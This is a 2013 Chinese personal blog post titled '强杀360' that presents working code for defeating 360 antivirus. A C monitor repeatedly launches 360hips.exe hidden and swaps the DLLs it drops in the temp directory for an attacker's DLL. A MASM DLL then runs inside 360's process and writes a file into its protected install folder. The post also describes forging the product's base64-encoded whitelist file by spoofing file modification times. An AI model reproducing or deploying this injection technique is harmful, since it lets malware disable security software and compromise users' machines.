首页
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
更多
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
Search
1
全网首发-小米AX6000路由器解锁ssh并固化ssh+2.5G有线mesh组网+公网访问路由后台+红米AX6/小米AX6/AX3600/AX6000/AX9000全系列适用
6,823 阅读
2
青龙面板必装依赖及青龙各种问题解决
3,934 阅读
3
NAS一键批量清除重复文件
3,543 阅读
4
群辉DSM7.0.1安装bootstrap后解决wget: error while loading shared libraries: libgnuintl.so.8: cannot open shared object file: No such file or directory
1,605 阅读
5
《爱情公寓4》全集高清迅雷下载
903 阅读
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
登录
Search
标签搜索
wordpress
News
iphone
vb
iOS
technology
渗透
QQ
php
talk
JavaScript
hack
Typecho
NAS
福利
c++
diy
c
免杀
评测
Jonty
累计撰写
275
篇文章
累计收到
980
条评论
今日撰写
0
篇文章
首页
栏目
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
页面
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
用户登录
登录
搜索到
1
篇与
的结果
2013-03-01
强杀360
只要是杀毒软件留给我们“输入”的地方,就有可能攻破它,就算它没有问题,我们制造问题。下面就是注入360模块的代码,我自己写了一个demo,很久以前的代码了,一直没有放出去,我想说一点的是,只要我们进入的360安装目录里面任何一个exe的进程之后,我们就可以随便在他的安装目录里面创建文件了,保护形同虚设,你想怎么干点什么,随便你,我的demo只是在360的目录里面创建了一个fuck.txt文本,当然如果你想加白名单的话,分析下这个文件sl2.db,这个文件加密很简单,只是base64加密,360sd的白名单就放在这里,之前分析过,很happy哦,这个文件里面的没一个条目我记得只记录了白名单文件最后一次修改的时间哦,也就是你把一个文件加入白名单的时候,360sd会获得这个文件的最后一次修改的时间,木有md5记录哦,也就是说,如果这个sl2.db有记录条目,你可以替换这个白名单文件,然后修改这个文件的最后一次修改的时间,ok,然后运行这个文件,噢,360sd傻逼了。不知道现在360sd修改这个文件的加密方式了木有,噢,扯远了,我只是随便说说而已,别想歪了。嘿嘿。ok,我的监视demo是用的c写的,测试dll是用汇编写的。替换的dll文件的路径在c代码里面修改,默认的是c:\test.dll,使用的360的模块文件是360hips.exe,这个文件概率大。监视demo,c代码:#define _WIN32_WINNT 0x0500 #include <windows.h> #include <shlwapi.h> #include <iostream.h> typedef DWORD (WINAPI THREADFUNC)(LPVOID lParam); BOOL IsInjectSucc() { HANDLE hMutex = NULL; hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "Thread_Exit"); if (hMutex) { //打开mutex成功说明注入成功了 CloseHandle(hMutex); return 1; } return 0; } DWORD AddProcess(LPVOID lParam) { while(TRUE) { if(IsInjectSucc()) { return 1; } //这里创建360的软件的进程,然后监视释放的dll文件然后替换掉。 //注意看我使用的目标exe --> 360hips.exe (因为这个概率高) ShellExecute(NULL, "open", "C:\\Program Files\\360\\360sd\\360hips.exe", NULL, NULL, SW_HIDE); Sleep(100); } return 1; } int main() { DWORD dwThreadID = 0; CreateThread(NULL, 0, (THREADFUNC *)AddProcess, NULL, 0, &dwThreadID); char szTempPath[MAX_PATH] = {0}; GetTempPath(MAX_PATH, szTempPath); HANDLE hDir = CreateFile(szTempPath, FILE_LIST_DIRECTORY, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (INVALID_HANDLE_VALUE == hDir) { return 0; } while (TRUE) { DWORD dwHadRet = 0; char stNotify[1024] = {0}; FILE_NOTIFY_INFORMATION *lpNotify = (FILE_NOTIFY_INFORMATION *)stNotify; //注入成功,可以退出了. if (IsInjectSucc()) { break; } BOOL dwRet = ReadDirectoryChangesW(hDir, lpNotify, sizeof stNotify, TRUE, FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_WRITE | FILE_NOTIFY_CHANGE_CREATION, &dwHadRet, NULL, NULL); if (0 == dwRet) { continue; } while (TRUE) { if (lpNotify->Action == FILE_ACTION_MODIFIED) { char szFileName[1024] = {0}; WideCharToMultiByte(CP_OEMCP,0,lpNotify->FileName,-1,szFileName,sizeof(szFileName),NULL,FALSE); //简单的过滤文件 char *lpDll = NULL; lpDll = strrchr(szFileName, '.'); if (NULL == lpDll) { break; } lpDll = lpDll + 1; if (lstrcmpi("dll", lpDll)) { break; } //替换dll文件进行注入 char szFilePath[1024] = {0}; lstrcpy(szFilePath, szTempPath); PathAppend(szFilePath, szFileName); //这个dll就是我们要注入的dll文件,自己写一个dll测试就行了 char szInjectDllPath[MAX_PATH] = "c:\\test.dll"; cout<<szInjectDllPath<<endl; cout<<szFilePath<<endl; cout<<"替换360的dll的结果 :"; cout<<CopyFile(szInjectDllPath, szFilePath, FALSE)<<endl; } if (0 == lpNotify->NextEntryOffset) { break; } lpNotify = (FILE_NOTIFY_INFORMATION *)((LONG)lpNotify + (LONG)lpNotify->NextEntryOffset); } cout<<"******************"<<endl; } CloseHandle(hDir); return 0; }测试dll文件,masm写的.486 .model flat,stdcall option casemap:none include test.inc include windows.inc include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib include shlwapi.inc includelib shlwapi.lib include debug.inc includelib debug.lib .code DllEntry proc hInstance,dwReason,dwReserved LOCAL @szFilePath[512]:byte .if dwReason == DLL_PROCESS_ATTACH ;创建互斥量用来表示成功注入了,这个时候监视进程就可以退出了。 invoke CreateMutex,NULL,FALSE,CTEXT("Thread_Exit") invoke MessageBox,0,0,0,0 invoke GetModuleFileName,NULL,addr @szFilePath,sizeof @szFilePath invoke PathRemoveFileSpec,addr @szFilePath invoke PathAppend,addr @szFilePath,CTEXT("fuck.txt") invoke CreateFile,addr @szFilePath,GENERIC_READ or GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 invoke CloseHandle,eax .endif mov eax,TRUE ret DllEntry endp end DllEntry还是那么一句话,只要是有“输入”的地方,我们就可以分析进去,就可能有发现。做杀毒只是浮云,相信很多朋友耐心分析几天就可以搞定。如果有人把代码用在不正当的地方,本人概不负责
2013年03月01日
88 阅读
0 评论
0 点赞